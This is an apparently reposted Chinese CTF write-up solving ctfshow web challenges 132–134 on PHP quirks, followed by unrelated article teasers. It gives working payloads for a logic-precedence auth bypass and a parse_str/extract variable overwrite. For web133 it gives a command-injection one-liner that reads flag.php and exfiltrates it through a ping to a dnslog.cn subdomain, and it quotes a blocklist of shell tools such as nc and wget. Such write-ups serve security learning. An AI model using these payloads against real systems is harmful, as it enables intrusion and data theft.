news 2026/1/10 3:59:24

ctfshow 132,133,134(php特性)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
ctfshow 132,133,134(php特性)

web132

打开指挥是个blog网站,我们用dirsearh扫描一下目录

访问/admin/index.php

查看源码

<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code']; if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }

&&需要两边同事都要满足,而||只需要两边任意一个满足就行了。

我们满足username="admin" 然后内层if还要求code='admin' 还要带上password 因为必须有

?code=admin&username=admin&password=

web133

源码

<?php error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }

源码中只对前六个字符作为php代码执行,,因为这个题无显然后这道题用到了数据外带。

需要用到dnslog.cn获取

?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.vlyye3.dnslog.cn -c 1

tr -cd就是只保留指定字符

-c 1就是ping1一次

截取出来的用8 4 4 4 12分开,并且手动添加- 因为这里我们只要求返回0-9和a-z的。

web134

<?php highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }

@parse_str($_SERVER['QUERY_STRING'])这一行

$_SERVER['QUERY_STRING']的意思就是读取?后的。

parse_str,将字符串解析成多个变量

例如?a=123&b=456

就变成$a=123 $b=456

而传入的里面又不能只有key1,key2

?_POST[key1]=36d&_POST[key2]=36d

让他给咱前面添加一个。然后看源代码拉到底部。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/1/3 1:07:27

深入解析:使用Python处理股票价格的参考点

在金融市场分析中,股票价格的变化往往需要参考历史数据来确定买入或卖出的时机。本文将通过一个具体的实例,介绍如何使用Python编写代码来处理股票价格的参考点,帮助你更好地理解和实现这一过程。 问题背景 假设我们有一个股票的价格数据,我们希望根据一个给定的“标记价…

作者头像 李华
网站建设 2026/1/3 1:03:14

Keil C51软件安装图解说明(适用于Win10)

Keil C51 在 Win10 上安装实战指南&#xff1a;从踩坑到稳定运行的全过程解析 在嵌入式开发的世界里&#xff0c;8051 单片机就像一位“老将”——虽然出身于上世纪八十年代&#xff0c;但凭借其结构简单、成本低廉、功耗可控&#xff0c;在工业控制、智能仪表、家电主控等领域…

作者头像 李华
网站建设 2026/1/4 17:40:00

SONIC_PreData模块中duration单位是秒,务必准确填写

Sonic数字人生成中duration参数的精准控制与工程实践 在AI内容创作领域&#xff0c;一个看似微不足道的配置项&#xff0c;往往决定了最终输出的专业水准。比如&#xff0c;在使用Sonic模型生成“会说话”的数字人视频时&#xff0c;很多人可能不会想到&#xff0c;仅仅因为多填…

作者头像 李华
网站建设 2026/1/3 1:02:26

STM32CubeMX安装图解说明:每一步都有截图参考

从零开始搞定STM32开发&#xff1a;手把手带你装好CubeMX&#xff0c;一步到位不踩坑 你是不是也遇到过这种情况——兴致勃勃想开始STM32项目&#xff0c;结果刚打开官网下载完STM32CubeMX&#xff0c;双击安装包就弹出“ No JVM installation found ”&#xff1f;或者好不…

作者头像 李华
网站建设 2026/1/8 9:51:11

Keil5开发STM32F103前必做:芯片库添加入门讲解

Keil5开发STM32F103前必做&#xff1a;芯片库添加实战全解析 你有没有遇到过这样的情况&#xff1f;刚建好一个Keil工程&#xff0c;写完第一行 #include "stm32f10x.h" &#xff0c;编译时却弹出“file not found”&#xff1f;或者明明写了 main() 函数&#…

作者头像 李华